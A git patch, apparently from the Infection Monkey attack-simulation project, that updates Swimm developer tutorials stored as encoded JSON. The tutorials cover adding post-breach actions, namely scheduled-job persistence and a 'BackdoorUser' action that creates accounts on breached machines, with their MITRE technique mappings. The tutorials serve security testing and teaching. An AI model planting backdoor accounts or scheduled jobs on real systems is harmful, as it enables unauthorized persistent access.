JTIwJTIyQXR0ZW1wdHMlMjB0byUyMGNyZWF0ZSUyMGElMjBzY2hlZHVsZWQlMjBqb2IlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMHJlbW92ZSUyMGl0LiUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJhdHRhY2tfdGVjaG5pcXVlcyUyMiUzQSUyMCU1QiUyMlQxMTY4JTIyJTJDJTIwJTIyVDEwNTMlMjIlNUQlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEFERCUyMERFVEFJTFMlMjBIRVJFISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB", + "dod": "You should add your new PBA's details to the configuration.", + "description": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

\n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

\n\nEach part of the configuration has an important role \n- *enum* β€” contains the relevant PBA's class name(s)\n- *title* β€” holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* β€” consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* β€” has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n", + "summary": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island.", + "hunksOrder": [ + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], "tests": [], "hints": [ "Have a look at the details of the other techniques." ], - "files": { + "play_mode": "all", + "swimmPatch": { "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "index": [ - "f1fe0f6f..cce37b24", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MiUyQzE1JTIwJTJCNjIlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJSZW1vdmVzJTIwdGhlJTIwZmlsZSUyMGFmdGVyd2FyZHMuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjIlMkMlMjJiJTIyJTNBNjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMTY2JTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjMlMkMlMjJiJTIyJTNBNjMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCUyQyUyMmIlMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMlNjaGVkdWxlSm9icyU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySm9iJTIwc2NoZWR1bGluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTcwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMHNjaGVkdWxlZCUyMGpvYiUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwcmVtb3ZlJTIwaXQuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTE2OCU1QyUyMiUyQyUyMCU1QyUyMlQxMDUzJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQUREJTIwREVUQUlMUyUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNjUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NCUyQyUyMmIlMjIlM0E2NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NSUyQyUyMmIlMjIlM0E2NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NiUyQyUyMmIlMjIlM0E2OCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTE1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..b231f96c 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -62,15 +62,7 @@", + " \"Removes the file afterwards.\",", + " \"attack_techniques\": [\"T1166\"]", + " },", + "- {", + "+ # Swimmer: ADD DETAILS HERE!\",", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"ScheduleJobs\"", + "- ],", + "- \"title\": \"Job scheduling\",", + "- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", + "- \"attack_techniques\": [\"T1168\", \"T1053\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "app_version": "0.3.5-1", + "file_version": "1.0.4" } \ No newline at end of file From a76eacf2405d943172d614af9fe25e97893653ad Mon Sep 17 00:00:00 2001 From: Swimm Date: Thu, 28 Jan 2021 19:29:21 +0200 Subject: [PATCH 208/466] Swimm: update unit Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 167 +++++++++++++++++++++++----------- 1 file changed, 115 insertions(+), 52 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index e3be3fb14..406ded500 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -1,75 +1,138 @@ { "id": "tbxb2cGgUiJQ8Btma0fp", "name": "Add a simple Post Breach action", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu", - "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==", - "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYS